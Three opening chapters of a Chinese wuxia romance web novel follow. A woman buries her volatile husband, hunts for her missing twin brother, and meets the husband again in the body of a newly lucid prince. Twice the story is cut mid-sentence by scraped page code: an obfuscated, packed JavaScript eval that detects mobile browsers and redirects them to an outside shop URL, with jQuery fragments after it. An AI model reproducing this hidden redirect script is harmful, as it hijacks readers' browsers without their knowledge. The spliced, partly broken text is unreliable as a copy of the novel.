《作精亡夫他换马甲回来了》
1. 慕怜舟死了
无涯谷的细雪飘了一整夜。
清晨,黎昭练完刀推开小院的门,落雪已悄然覆满门前。
她望着那片干干净净没人踩过的雪地,不由皱了皱眉,慕怜舟这家伙居然真的一整晚都没来找过自己。
她轻叹一口气,呵出的白汽在眼前缭绕又散尽,看样子这人又单方面同她冷战了。
其实这几日,黎昭原本心情极好。闭关数月,她终于参透了孤影刀法的最后一重,曾经被废掉的内力不仅完全恢复,甚至更胜往昔。
前夜月色澄明,她一时兴起抱着酒坛叫上慕怜舟喝了个痛快。雪地映着月光,亮堂得让人恍惚,她枕着手臂躺在屋檐上,仿佛所有阴霾都一扫而光。
那些打不死她的,终将让她更强大。
她黎昭,终于又活过来了。
昨天酒醒之后,头痛欲裂。她揉着发胀的额角回到房里,想找杯水喝,却见慕怜舟独自坐在窗边,望着窗外出神,脸色瞧着似乎比往日更加苍白了些。
黎昭知晓他素来沉疴在身,对此倒也习以为常,只哑声使唤道:“慕怜舟,我渴了,帮我倒杯水。”
茶壶就在他手边,慕怜舟却头也未回,冷淡地抛来一句:“自己倒。”
黎昭瞥他一眼,不知道他又发哪门子癫。
算了,最近心情好,懒得和他计较。
她自顾自倒了水,放下茶杯时,眼风不经意扫过角落,忽然定住了。
前不久才送出的那件墨色银纹斗篷,此刻被扔在角落的火盆边,盆里虽无明火,但斗篷一角明显被火星燎过,焦黑一块,沾满了灰烬。
“你这是做什么?”黎昭眉梢微沉,她不擅长做女红,为答谢他这些年的帮助才缝了这件斗篷,不知费了多少功夫。
慕怜舟这才缓缓转过头,落在她身上的眼神带着点讥诮,还有一些她读不懂的情绪:“哦,那斗篷啊。昨日沾了些泥点子,脏了,看着碍眼,不如烧了干净。”
黎昭一下子就明白了。
他又要开始作天作地了。
慕怜舟性子一向阴晴不定,心情好时便罢了,可若他心情不好,便要变着法子折腾人,说出来的话更是淬了毒一样,专往人心窝子里戳。
明明前一晚两人对饮时还颇为融洽,不过一夜之隔,不知又是谁招惹了他,他又在这里摆出这副阴阳怪气的模样。
若搁以前,黎昭或许还会耐着性子陪他周旋。可如今功力已经恢复,她已经不再需要依仗慕怜舟为她续命了。
黎昭没了继续哄他的心思。
看着那件被糟蹋的斗篷,又看看他那一副“我不高兴但我偏不说你快点来哄我”的神情,黎昭只觉一股无名火直窜上来,声音也跟着放冷:“一件斗篷而已,你爱烧便烧,不必找那些蹩脚的借口。”
泥人还有三分气性,谁还没个小脾气咋的。
当夜,黎昭干脆宿在后山小院,没有再回主屋。
正好,她心想,不如就趁这个机会把话挑明,是时候告诉他,自己要离开无涯谷了。
积雪在脚下被踩得嘎吱作响,谷中静得反常,连平日里总在檐下扑翅的寒雀都没了踪影。
慕怜舟的房门虚掩着。
黎昭停步,心下升起一丝极淡的不安,慕怜舟一向自律,是从不会晚于辰时起的。
门一推就开,寒意扑面而来,房内的炉火早已熄灭,冷得和室外并无区别。
慕怜舟就坐在窗边的软榻上,穿着一身单薄的素白衣袍,头微微靠着窗棂,像是睡着了。
窗外是皑皑白雪和一株未见花开的寒梅。
“慕怜舟,醒醒。”黎昭伸手推了推他。
没有反应。
“别装了,我有事跟你说。”或许是屋内寒气太重,黎昭觉得自己的声音都在打颤。
“我要离开无涯谷。”
室内一片死寂,没有预想之中的跳脚怒意,回应她的,只有窗外风雪的呜咽。
慕怜舟就这样悄无声息地死了,死在无涯谷风雪最盛的那一日。
黎昭在榻边一动不动地坐了许久,久到听见风声渐歇,朦胧的天光由明转暗。
她终于起身,走出屋子,平静地开始料理后事。
棺木是现成的,谷中常年备着,慕怜舟对自己的死早有预料。坟地选在后山向阳处,是他曾经偶尔提过一句喜欢的地方。
石碑立起时,黎昭对着光洁的石面思索了半晌,终于还是抽出孤影刀,以内力催动刀刃,刻下两行字:
无涯谷谷主慕怜舟之墓
——妻黎昭立
就三年,她对自己说,为慕怜舟守三年孝,就当还他一条命的恩情。
*
三年后,三月初三。
又到了悬镜宗一年一度演武大会的日子。
悬镜宗乃当今江湖第一大宗门,素来以“明镜高悬,洞悉万象”为训,门下弟子行走江湖,专司缉凶勘秘之事。而每逢演武大会,更有平日难得一见的武林高手相继登台,施展绝学。
不少弟子早早便盼着这一日,只为亲眼一窥武道巅峰的至高境界。
悬镜宗西南角的昭明阁外,迎着初升的日头,一胖一瘦两名年轻弟子杵在大门前有一搭没一搭地聊着天。
“你听见没?”左边那个瘦高个竖起耳朵,身子往右歪了歪,“是演武场那边的鼓声。”
右边的矮胖弟子本来在打瞌睡,一个激灵惊醒,“第几通了?”
他急慌慌去拍同门的胳膊,“第三通鼓响,就该是黎师姐展示惊鸿剑法的时候了!”
瘦高个悻悻地甩开他:“这才第二通。咱俩守在这破阁子外,光听鼓响不见人影,有什么意思?”
两人不约而同地叹了口气。
昭明阁里头不过是些落了灰的陈年卷宗,又没什么要紧的,值当把他俩都拴在这儿嘛。
两人全然未觉就在他们说话间,有道窈窕纤细的身影自他们身后闪过,身姿轻盈,转眼便飞身至三楼。
黎昭稳稳落定,唇角微扬,正待推门,忽然听见鼓声再起,随之而来一片喧哗。
想起方才无意听到的对话,她心念微动,循声望去。
昭明阁三层视野极佳,习武之人耳聪目锐,远处演武场上的情形一览无余。
场上一名白衣女子持剑而立,云鬓轻绾,衣袂在微风中如流云浮动,恍若九霄仙子下凡。
比起黎静颜,黎昭最先认出的是她手中的那柄剑。
昔日铸剑山庄耗费三代人心血,广集天下奇铁,铸就了一对儿传世名剑——惊鸿与游龙。黎静颜手里的那把,剑身修长纤巧,剑光亮若秋霜,正是惊鸿剑。
黎昭习惯性地摸向腰间,指尖触到了孤影刀冷硬的刀鞘。
刀比剑要笨重几分,此刻沉甸甸地悬在那里,与远处惊鸿剑流转的华光相比,显得格外黯淡。
不知为何,她竟从一个死物上看出了一点委屈。
鬼使神差地,黎昭拍了拍孤影刀,对着一把刀安慰道:“放心,你很好,不比它差。”
这个“它”自然指的是惊鸿剑,曾几何时,那也曾是黎昭的佩剑。
场中,黎静颜已然起势,剑光乍起,清绝繁复的剑影似雪落长空,引得台下连连惊呼。
黎昭的眉头却是一点点地锁紧,黎静颜脚步虚浮,内力运转明显不畅,根基未稳却强提一气使出这招惊鸿照雪,剑招虽华美,内里却摇摇欲坠。
恐怕要出岔子啊。
念头刚闪过,就看到半空中那道月白身影晃了两晃,剑势骤然溃散。
黎静颜身形失衡,眼看着要从高处坠落。
就在这时,另一道玄色身影已如疾电般掠入场中,稳稳接住她下坠的身形,几乎在同一刻,一声清越龙吟铮然响彻,游龙剑赫然出鞘。
玄衣男子一手揽过黎静颜,一手持着游龙剑,双剑合璧,光华陡盛,完美地弥补了方才那一瞬的失误。
人群静了一瞬,随即爆发出震天的喝彩。
黎昭静静地看着那对儿相携而立的璧人,直到身后传来一声厉喝:“什么人?”
黎昭一惊,猛地回头,斗笠上的轻纱扬起一角,原来是那名瘦高弟子不知何时已爬上三楼。
待看清纱幔后的面容,来者一脸惊疑,脱口而出:“你是黎......”
黎昭眼疾手快,不等他反应,一个手刀劈向他的颈侧。
她轻手轻脚地将人放倒,侧耳倾听,楼下似乎并无异动,那胖弟子大约还在原地,未曾察觉楼上的变故。
不能再耽搁了。
黎昭定了定神,将面前的门推开一道刚容人侧身通过的缝隙,闪身挤了进去。
*
演武场边的树影下,沈云峥微蹙着眉,低头在草丛间翻找着什么。
“云峥师兄。”一声轻柔的呼唤令他抬起头。
黎静颜站在几步开外,苍白的面上因方才用剑而泛着薄红,让人忍不住心生怜惜。
她盈盈一笑,愈发楚楚动人:“方才多谢你出手相助,否则我怕是要出大丑了。”
沈云峥神情冷淡,知晓她的难处,宽慰道:“你无需过于介怀。惊鸿剑法本就极重悟性,你旧疾未愈,不必急于求成,只需循序渐进便可。”
“多谢云峥师兄指点,静颜明白了。”黎静颜柔声应道。
纤长的眼睫垂下,恰好遮住了眼底翻涌的不甘。
凭什么?
黎昭那个被九幽盟不知从哪弄来的野种都能练成的剑法,她这个正牌铸剑山庄的大小姐却屡屡失败。
明明她才是天命所归的气运之女,不是吗?
眸中的嫉恨在抬眼时已化作一泓清泉,见沈云峥又看向草丛,黎静颜笑了笑,从袖中摸出一个编法极其粗糙的同心结剑穗。
“云峥师兄是在找这个吗?”
沈云峥眸光一顿,素来没什么波澜的脸上罕见地松了口气。
他伸手接过,试图挂回剑上,却发现剑穗绦绳已经断了。
沈云峥捏着那截断绳,有些无措,最后只得先小心翼翼地收入怀中。
“多谢。”他抬起头,道了声谢。
黎静颜注意到他这一连串的动作,面上依旧维持着温婉笑意,从袖中另外取出一个针脚细密的新剑穗,双颊泛红道:“我看云峥师兄的剑穗已经用得很旧了,我新做了一个,若你不嫌弃……”
话语未尽,一名弟子便急匆匆赶来。
“门主,蜀中那边已派人将近期人口失踪案的详录送到昭明阁了。”
沈云峥闻言,神色一肃。
“知道了,我这便过去。”
他转向黎静颜,并未去接她手中的剑穗,只在她略显疲态的脸上停留了一瞬,语气稍缓:“今日你辛苦了,好生休息,习剑之事来日方长。”
言罢,玄衣一拂,人已朝着昭明阁方向行去。
看着沈云峥离开的背影,黎静颜举着新剑穗的手失落地垂下。但很快,她又重新振作起来,转而漾开一抹势在必得的微笑。
没关系的,来日方长。
按照书里的剧情发展,沈云峥迟早会爱上她的。
*
昭明阁三层存放的都是十年前的旧案子。
黎昭指尖掠过一卷卷羊皮封册,最终停在一卷标注上写着“庚申年,蜀中唐门”的卷宗上。
她眼神一亮,迫不及待地取下展开,目光飞速扫过密密麻麻的字迹,直到看到卷末那行小字:“群侠合围,唐不夜力竭坠崖,唯一蛊人随之,倏然爆体而毙。”
爆体而毙......果然!
黎昭攥着卷宗的手不受控制地发颤。
她就知道那不是哥哥,那个在她眼前炸得血肉横飞的人只不过顶着一张与兄长一模一样的皮囊。
当年由于她这个魔教卧底临阵反水,致使九幽
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16592492|187415||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
盟在关键一战中反遭武林盟埋伏围剿。教主殷无欢横死,麾下四大护法折损其三,教众四散。也正是从那时起,她彻底失去了兄长的音讯。
大战结束后的某天,她在悬镜宗后山的竹林深处,蓦然瞥见一个熟悉的身影。黎昭当下又惊又喜,那段时间她找哥哥的下落都快要找疯了,当即便追了过去。
谁知呼唤堪堪出口,那人忽然回首,面色惨白的不似活人。
他张大嘴,露出一个令人毛骨悚然的笑容,如同孩童第一次学说话一般,每一个字都咬的字正腔圆,带着诡异的滞涩。
“阿、蘅、怪....”
话音未落,那具躯体突然开始剧烈扭曲,随即“噗”的一声闷响,在她面前轰然爆裂。
她的“兄长”,一个活生生的人,就这样在她面前没有任何征兆地炸开了。
黎昭尚未从震惊中回神,便收到宗门飞鸽传书命她即刻前往戒律堂。也是在那里,她第一次见到黎静颜,听她在众人面前亲口揭露了当年铸剑山庄惨遭九幽盟灭门的真相。
武林盟七大长老面面相觑,已经忘了是谁的掌风先于审判落下,右手经脉寸断的剧痛袭来,惊鸿剑掉落在地。
后来,她被囚禁在了暗无天日的地牢中。
那段时期接踵而来的变故太过深刻,打得黎昭措手不及,以至于她来不及思考为何好端端的一个人会突然爆体而亡?为什么那人不仅与哥哥长得别无二致还能唤出只有他们兄妹之间才知道的笑名?以及那人未说完的话语到底是什么?
阿蘅,怪......怪什么?
黎昭坚信那人绝非她的兄长,她与兄长是双生子,自小到大便有一种奇妙的感应。
她直觉,哥哥一定还活着。
可如果不是兄长,那人是谁呢?或者说,是什么东西呢?
她一直百思不得其解,直到在无涯谷无意听慕怜舟提起蜀中唐门的蛊人旧案,才隐约摸到一点头绪。
黎昭陷入思绪中,丝毫未察觉门外极轻的脚步声。
“吱呀”一声,门被推开。
黎昭悚然回神,抬眼望去,只见一人立在门口,玄衣墨发,神色冷峻。
沈云峥先是扫过那名倒地昏迷的弟子,随即看向室内。
“阁下是何人?”他盯着来人,沉声发问。
斗笠下的黎昭抿紧唇,怕被认出来,她不敢出声,心里盘算着强行突围的可能。
见她沉默,沈云峥眸色转冷,向前逼近一步:“阁下擅闯昭明阁,伤我门人,若再不肯表明身份,就休怪沈某得罪了。”
说着,沈云峥已翻掌拍出,劲风凌厉,封住她的去路。
黎昭猝不及防,急忙抽刀格挡。
两人在这狭小的空间内,瞬息间便过了数招。
黎昭武功不逊于沈云峥,但此时心有顾忌不敢全力施为,不一会儿便隐有落于下风之势。
她见沈云峥拔出游龙剑,以为他动了真格,当即侧身闪避,却不想此举正中沈云峥下怀。
游龙剑的剑尖倏然一转,目的并非伤人,而是直指那顶遮掩容貌的斗笠。
剑风掠过,头顶的斗笠被挑飞,一张明艳的容颜毫无遮拦地暴露在天光之下。
黎昭第一反应就是想躲,却发现已无处可藏。
沈云峥攻势骤停,目光凝在那张光洁如玉的脸庞上。
两道影子斜斜投在地上,默然对峙,谁都没有先开口。
过了好一会儿,他喉结滚动,才从干涩的喉咙里挤出一声低唤:“昭昭。”
黎昭闭了闭眼,深吸一口气,扯出一个算得上轻松的笑:“沈门主,别来无恙啊。”
她不再唤他沈师兄。
沈云峥怔怔望着她,听见客套的称呼后,心口处传来闷闷的钝痛。
他并未过问她此行的来意,只是看了一眼她手中紧握的卷宗,问道:“你要去蜀中?”
看到黎昭一下子变得警惕的眼神,沈云峥的眼中划过一丝黯然。
他哑着声音解释道:“蜀中近来不太平,你想查什么……或许我可以帮你。”
黎昭却注意到他腰间游龙剑的吞口处空空荡荡。
那年上元灯市,自己躲在角落里笨拙地编了整晚才送出的剑穗,果然已经不在了啊……
也是,早该不在了。
黎昭一哂,心头那点涟漪很快平复。
谁都有过年少心动的时候,有些喜欢到了该放下的年纪,自然会放下。
“不劳沈门主费心。”她拒绝得干脆利落。
此地不宜久留,黎昭放下卷宗准备离开,经过他身侧时,突然想起一件事。
当年如若不是沈云峥偷偷放走她,自己估计早就死在悬镜宗的地牢了。
她一向不喜欢欠人情,尤其是如今。
她想了想,伸手自颈间解下一枚通体莹润的玉坠递给他:“这是寒玉髓,最能清心静气调和内息,对黎静颜或许有帮助。”
“当年地牢之事,多谢。这个给你,从此咱们两不相欠。”
沈云峥看了一眼那玉坠,没有去接,他嘴唇动了动,似乎想说些什么,可终究只是沉默地望着她。
他不想要这寒玉髓,更不愿就此两清,可是自己的师门曾那样对待她,以他如今的立场,又能有什么理由挽留呢?
见他迟迟不语,黎昭索性强行将寒玉髓塞入他手中,这东西他必须收下,她不愿让这段过往继续纠缠。
随后她转身离开,衣袂拂风,没有丝毫留恋。
沈云峥握着那犹带她体温的玉坠,站在原地,久久未有动作。
地上,那名瘦高弟子呻吟一声,悠悠转醒,捂着头茫然四顾,看到沈云峥,顿时清醒了大半,慌忙禀报:“门主,方才、方才我好像看到了.....”
沈云峥眸色一沉,眼风凌厉地扫过他,不容半分质疑:“记着,你什么都没有看到。”
2. 小王爷
蜀中云州,富甲天下。
云州城最负盛名的醉仙楼内,二楼雅座临窗处,一位绛金织金蟒袍的公子正倚在床边,手里摇着一把白玉骨扇,悠哉地欣赏着楼下的市井喧嚣。
一旁的青衣小厮正贴心地为他布着酒菜。
没过多久,楼梯口传来一阵嘈杂,几名劲装佩刀的江湖客大步流星走上楼来,择了邻桌坐下。
他们说话声如洪钟,一时间竟压过了楼内的丝竹软语。
“听说了吗?”一个虬髯汉子刚落座便拍桌道,“武林第一美人与悬镜宗沈门主的订婚宴,原定下月的,突然推迟了。”
“这有什么的,那两人原就是天造地设的金童玉女,订婚是早晚的事,推迟些时日也无妨吧。”另一人接话。
虬髯汉子却压低声音,卖了个关子:“嘿,这你可就不懂了……你们怕不是忘了那位前惊鸿剑主黎昭?”
席间顿时一静。
他见状更显得意,继续说道:“当年沈云峥可是出了名的不近女色,多少美人投怀送抱,他看都不看,唯独对他那位小师妹,哎呦呦那可是千般万般地纵着护着。你们说,万一要是黎昭哪天突然回来,旧情复燃这一事谁说得准?”
话音刚落,立刻有人嗤之以鼻:“呸!什么旧情复燃。那黎昭忘恩负义,潜伏武林盟多年,害死多少正道同门?就算沈门主念旧,悬镜宗上下和整个武林正道岂能容得下她?”
藏锋低头斟着酒,耳朵却早已悄悄竖起,听得那叫一个津津有味。
正听得入神,冷不防头顶被人用扇子不轻不重地敲了一记,他“哎呦”一声抬起头,发现原本还在窗边的人不知何时已来到跟前。
萧怀翊天生一双多情的桃花眼,眼尾微翘,总氤氲着一段缱绻风流,目光流转时,仿佛对谁都含着几分笑意:“怎么,听得这么入迷,很有意思?”
然而,语声里却是浸着些许凉意,教人隐隐生出些不安。
藏锋赶忙收回心神,讪讪笑道:“没有没有,小的就是对那些江湖轶事有些好奇。”
自打王爷前些日子清醒过来,心思一日比一日难捉摸,他是越发不敢在王爷面前造次了。
邻桌的江湖客并未察觉这边的小插曲,依旧高谈阔论,丝毫没有停下来的趋势。
“依我看啊,那黎昭如今指不定像缩在哪条阴沟里躲着不敢见人呢。但凡有点自知之明,她就该躲得远远的,难道还要和铸剑山庄的大小姐抢男人不成?”
“吵死了。”一道慵懒不耐的声音突兀地打断了几人的谈笑。
几名江湖客正说到兴头上,闻言皆是一愣,纷纷皱眉望向声音来处。
但见半卷珠帘的雅间内,一位锦衣公子正执杯浅酌,姿态闲适,仿佛刚才那句抱怨全然不是出自他口。
虬髯汉子脾气最爆,当下便要拔刀:“喂!你这小白脸,刚是你说话吧?说谁吵呢,爷们儿说话,有你什么事。”
藏锋眉头一拧,正要上前呵斥,却见自家王爷不紧不慢地抬眼,视线悠悠停在几人身上。
“说你们。”萧怀翊声调平稳,甚至懒得抬高半分,只漫不经心地添了句,“聒噪得很,扰人清静。”
虬髯汉子勃然大怒,另几人也纷纷站起来,脸色不善。
藏锋一个箭步挡在萧怀翊身前,亮出南安王府御赐的敕金腰牌,厉声道:“放肆!胆敢对我家王爷无礼!”
那几人一下子被唬住了,脸上的怒气逐渐转为惊疑不定,看看腰牌,又看看那位公子,心下对此人的身份有了猜测。
如今最令坊间津津乐道的便是数月前的那桩惊天奇闻——南安王府痴傻了二十年的小王爷,大病一场后竟然不傻了。
要说这南安王府原是蜀中一等一的勋贵,老王爷乃是当今圣上一母同胞的亲弟,在世时曾掌三州兵权,王妃更是出身将门,一柄银枪杀得胡人闻风丧胆。谁料十年前一场边关叛乱,夫妻二人双双殉国,只留下个痴傻的儿子和尚未及笄的幺女。
圣上闻讯悲痛欲绝,又怜又愧,只得从别处加倍补偿,赏赐恩宠如流水般送入王府,以至于南安王府虽无主事人在朝,在蜀中的地位亦是无人能及。
而眼前这人,恐怕就是那位身份尊贵的南安小王爷了。
江湖与朝廷素来泾渭分明,南安王府手握遗泽圣恩,在蜀地可谓一手遮天。他们刀口舔血不假,却也不敢真的与这等皇亲国戚硬碰硬。
几人悻悻地交换了眼色,终究还是压下火气,灰溜溜地离开了。
二楼一时间安静不少。
藏锋将腰牌收进怀中,小心翼翼地觑着萧怀翊的脸色,只见他将白玉扇子随意往桌上一丢,执起银箸,夹起一筷花篮桂鱼,竟然开始慢条斯理地用起饭菜来。
不对劲啊,面上怎么瞧着一切如常?
但只吃了一口,萧怀翊便忍不住蹙眉,筷子一撂,淡淡吐出两个字:“难吃。”
这才对嘛!
藏锋反倒松了口气,他就说,以他对王爷性子的了解,心里若是不痛快,肯定是要寻个由头挑刺折腾一番才罢休。
他连忙躬身,熟练地应对道:“王爷,可是这鱼不合胃口?要不让醉仙楼的厨子再重新做一道,或者换些别的……”
“重做?”萧怀翊冷哼一声,“就凭这火候都掌握不了的厨子?鱼肉过老,酱汁过腻,醉仙楼如今就这点水准吗?”
他瞥了藏锋一眼,不耐烦道:“还愣着做什么,还不赶紧撤下去,换一桌新的来。”
藏锋连忙点头称是,正要退下安排,迎面撞上两名南安王府的家仆匆匆跑上楼。
“王爷,可算是找到您了。郡主特意派小的们来寻您,说是府中有事,请您务必回去一趟。”
萧怀翊不由心
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16592493|187415||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
下生疑,他那个便宜妹妹平日里极少主动寻他,更遑论这样火急火燎地派人来找。
“可有说了是什么事?”
想起平阳郡主不着调的安排,那两人心虚得很,根本不敢与萧怀翊对视,只是低着头语焉不详道:“郡主、郡主她没跟小的细说。”
萧怀翊疑虑更重,担心真的发生了什么,当下也无心计较饭食,立即叫回藏锋吩咐道:“备车回府。”
*
黎昭不在阴沟里。
黎昭在树上。
不过眼下的处境,比起阴沟里的老鼠,似乎也没好到哪里去。
她啃了一口刚摘下来的不知名野果,果皮又涩又硬,嚼得她腮帮子发酸,这几日天天以野果果腹,胃里反上来的都是一股子木楂味。
她不过是绕着唐门地界转了几日,身上的银钱便如流水般消失殆尽,连个响都没听见。
黎昭泄愤似地又咬了一口果子,心里又悔又恼,早知道外面的银子这样不经花,当初离开无涯谷时,就该撇开那点道德感,把慕怜舟存着的棺材本一并摸走才好。
幸好,这几日她并非一无所获。
唐门上下对“蛊人”讳莫如深,以至于新入门的弟子甚至都不知晓唐不夜这个名字。她费了些周折,才从几个老仆嘴里撬出点零碎线索。
当年唐不夜研制出蛊人这种不惧刀剑且唯命是从的阴毒之物,借此掀起唐门内乱,妄图窜取门主之位,后来悬镜宗介入,此事才得以平息。
事情败露,唐不夜被逼坠崖后,唐门也曾派人去崖底寻过,但只找到一滩干涸的血迹。门中长老只当他尸骨被野兽叼了去,草草了事,甚至嫌他晦气,一把火烧了他的住处。
所有关于蛊人的手迹,都在那场火里化为灰烬。
可有些东西,却是烧不掉的。
黎昭打听到唐不夜并非孑然一身,他膝下还有个女儿,叫唐芷,如今约莫十六七岁的样子。不过听说这姑娘自幼身体不好常年闭门不出,平日里更是连影子都难寻,黎昭一连蹲守几天都没能见上她一面。
直到这日傍晚,蜀中山道间,一顶素青软轿被四名灰衣杂役慢悠悠地抬下陡峭的石阶。
唐门建在险峰之上,门中弟子皆习轻功,飞檐走壁如履平地,出行何须轿子?
除非……轿中之人根本不能习武。
黎昭眸光微闪,悄无声息地自一棵梧桐树梢落下,如一道影子一般缀了上去。
软轿穿过山脚长街,进了云州城门,最终停在一座灯火通明的府邸前,匾额上“南安王府”四个烫金大字在大红灯笼映照下格外醒目。
轿帘掀起,一只苍白纤细的手扶在轿框上,腕骨伶仃,像是久不见天日。
黎昭唇角勾起,足尖轻点,轻巧翻上围墙。
不得不说,这南安王府的守卫可比唐门的机关阵好闯多了。
3. 重逢
夜色如墨,黎昭隐在檐角暗处,呼吸放得极轻。
下方院内灯火煌煌,满座皆是盛装华服的女眷,独独不见半个男宾。她略一思索便了然,这怕是给那位南安小王爷相看新妇的宴席。
不过江湖与朝廷素来互不干涉,唐门的人又怎会出现在这种场合?
她目光一转,落在角落里那道几乎要与阴影融为一体的身影上。
唐芷安静地坐在最末席,身穿一袭式样朴素的天青色罗裙,浑身上下无一丝亮色。细看之下,那张脸上五官其实生得端正,可不知怎的,组合在一起就成了张叫人过目即忘的脸,就好像市井街巷里与你擦肩而过的任何一个路人。
若不是自她进门便暗中留意,黎昭想,自己大约也和旁人一样,根本注意不到还有这么一个人。
而此刻,唐芷正微微抬眸,目光越过人群,投向主座的方向。
黎昭顺着她的视线望去,只见上首一人懒洋洋地歪着身子,玉冠束起的乌发散下几缕垂落在额前,偏生他眉眼生得极是俊俏,这般不羁的姿态反倒更添几分落拓风流。
他仿佛是对席间暗送的秋波浑不在意,只垂着眼,百无聊赖地转着手中的酒盏。
坐在他旁边的贵女低声同他讲话,那人神色恹恹地侧过头。
黎昭想起来这几日在蜀中听到的一些传闻。
都说这位南安王府的小王爷一朝清醒后,却不往好里学,反倒沾染上一身纨绔习气。终日不是流连秦楼楚馆,就是在外头招猫逗狗惹是生非,活脱脱成了云州城里一等一的混世魔王。
如今看来,传闻倒是所言非虚。
“喂,来都来了,你就不能正经一点。”萧云禾看到兄长这副玩世不恭的样子就来气。
她辛辛苦苦张罗这场相看宴,这人倒好,从入席起就摆出一副浪荡公子哥的模样,活像是来砸场子的。
萧怀翊闻言,险些气笑:“萧云禾,你是不是闲的,诓我回来就是为了这等无聊事?”
“真要那么闲,不如赶紧找个男人嫁了,少来插手我的事。”
如若不是念着占了这具身体欠了原主一份恩情,觉得该替他照顾一下家里人,就冲这便宜妹妹乱来的劲儿,以他的脾气,早就甩手走人了。
萧云禾笑眯眯道:“我倒是想啊,可哪有哥哥不娶妻,妹妹先出阁的道理。”
说罢,又语重心长道:“你也老大不小了,我这还不都是为了你好。”
萧怀翊正欲反驳,却倏然一顿。
眼角余光似不经意般扫向东南方向的飞檐,但见那里仅有一只青石雕成的螭首静静矗立,在月色下泛着冷光。
萧云禾察觉到他的异样,问道:“怎么了?”
“没什么。”萧怀翊淡然收回目光。
他只是觉得,方才那里似乎有一道视线在盯着他看。
黎昭紧紧贴着屋檐,冰冷的瓦片传来丝丝凉意,夜露的湿气渗入薄衫。
“还挺敏锐。”她在心中暗自腹诽,却也没太在意,不过是个养尊处优的王府公子,兴许只是凑巧而已。
正思忖间,忽而瞥见唐芷悄然离席。
机会来了。
黎昭眼神一亮,当即提气轻纵,借着夜色掩护追了上去。转过一道雕花影壁时,前方突然传来环佩叮当。一列侍女端着漆盘从侧门鱼贯而出。
黎昭急忙刹住脚步,身子一旋,藏在廊柱后,待脚步声远去,才探身查看。
却见曲径通幽处灯笼摇曳,假山叠石间灯影绰绰,哪里还有唐芷的踪迹?
不是吧,这都能跟丢?
黎昭气得直跺脚,只得循着记忆中唐芷最后消失的方向追去。
王府后院远比想象中还要曲折,看似相连的游廊走着走着就成了死路,以为到了尽头却又柳暗花明
不知不觉间,她已来到一处完全陌生的院落。
黎昭环顾了一圈儿,见这院落开阔轩敞,大气中透着不经意的奢华,陈设不似女眷居所。正欲转身离开,忽闻回廊尽头脚步声渐近。
来不及细想,她反手推开窗棂,一个翻身掠入室内。
屋内一片漆黑,空无一人。
刚要寻找藏身之处,却又听到外间突然响起推门声。
她心中一凛,目光急扫,最终落在里间那张雕花大床上。
*
萧怀翊推门而入的瞬间,便察觉到房中有人。
那宴席实在无聊,他故意失手将酒夜洒在衣袍上,借着更衣之名抽身,却不想却不想自己这方寸之地,今夜竟也有人惦记。
“藏锋,去替本王找件干净的衣裳来。”
不动声色打发走贴身小厮后,他不疾不徐迈着步子朝内室走去。
黎昭紧绷的神经在听到这道声音后松弛了一瞬。还好是那个小王爷,一个养尊处优的纨绔子弟,对付起来应当不难。
黎昭心里盘算着如何一击制服这个草包然后脱身,她看到鲛绡帐幔被一只骨节分明的手轻轻撩开。
就是现在!
黎昭如蛰伏的猎豹般骤然暴起,身影化作一道疾风直扑而出,动作干脆又利落。却不料对方早有准备,身形一侧,右手精准无比地钳住了她的手腕,借着她扑去的势头狠狠一掼。
黎昭重重摔倒在身后层层铺陈的柔软锦衾之上。
未等她反应过来,男人已欺身上来,另一只手从枕下摸出一把匕首,稳准狠地抵住了她的咽喉要害。
混乱的缠斗陡然停止。
浓郁夜色中,两人的呼吸紧密地缠绕在一起。
黎昭仰躺着,乌发凌乱地铺在锦缎上,胸口处心跳如鼓。
谁家好人在枕头下藏刀啊!不是说是个只知风花雪月斗鸡走狗的浪荡子吗?
她试图挣了挣,也不知道这人哪来的牛劲,她动都动不了。
“好大的胆子。”
头顶上方传来男人低沉的嗓音,灼热的呼吸拂过她额前的发丝。
“夜闯王府,还摸到本王的床上,说说看,你想干什么?”
黎昭恨声咬牙,清越的声音尽是被冒犯的恼意。
“放开!”
简简单单的两个字,却如惊雷炸响在耳畔,萧怀翊瞳孔骤缩,所有的话语都堵在喉间。
黎昭。
怎么会是她?
夜风拂过,帐幔轻晃,时间仿佛在这一刻凝固。
短暂的失神,不过电光火石一刹那,却被黎昭敏锐地捕捉到。
她眼中厉芒一闪,被困的手腕立时一拧,左手手肘狠狠撞向萧怀翊的肋下要害。
萧怀翊吃痛,钳制的手不由一松。
黎昭抓住机会,一个旋身便滚落床榻,稳稳站定。
孤影刀出鞘,刀尖带着锋芒点在了萧怀翊的颈侧。
萧怀翊顺着刀锋抬眸。
慌乱褪去,那双映着月色的眼睛,清澈依旧,倔强依旧,含着几分警惕,直直撞进他的眼底。
“别动也别喊。”黎昭的声音放得极轻,却字字清晰,犹如珠玉落盘。
“我今夜只是误入此地,并无伤人之意。你安分些,我不会伤你性命。”
前世立于江湖之巅,慕怜舟从未想过有朝一日,自己也有被人用刀指着脖子的那天。
他看着黎昭,无端想起无涯谷的那个晚上。
那夜月色很美,黎昭喝醉了酒,平日里那双清凌凌的眸子湿漉漉的,像只小鹿。
她脚步虚浮地凑近,身形摇摇晃晃,他下意识想要伸手去扶,却被她先一步挽住了手臂。
温软的身子贴过来,隔着衣衫也能感受到的陌生温度让他不由一僵。
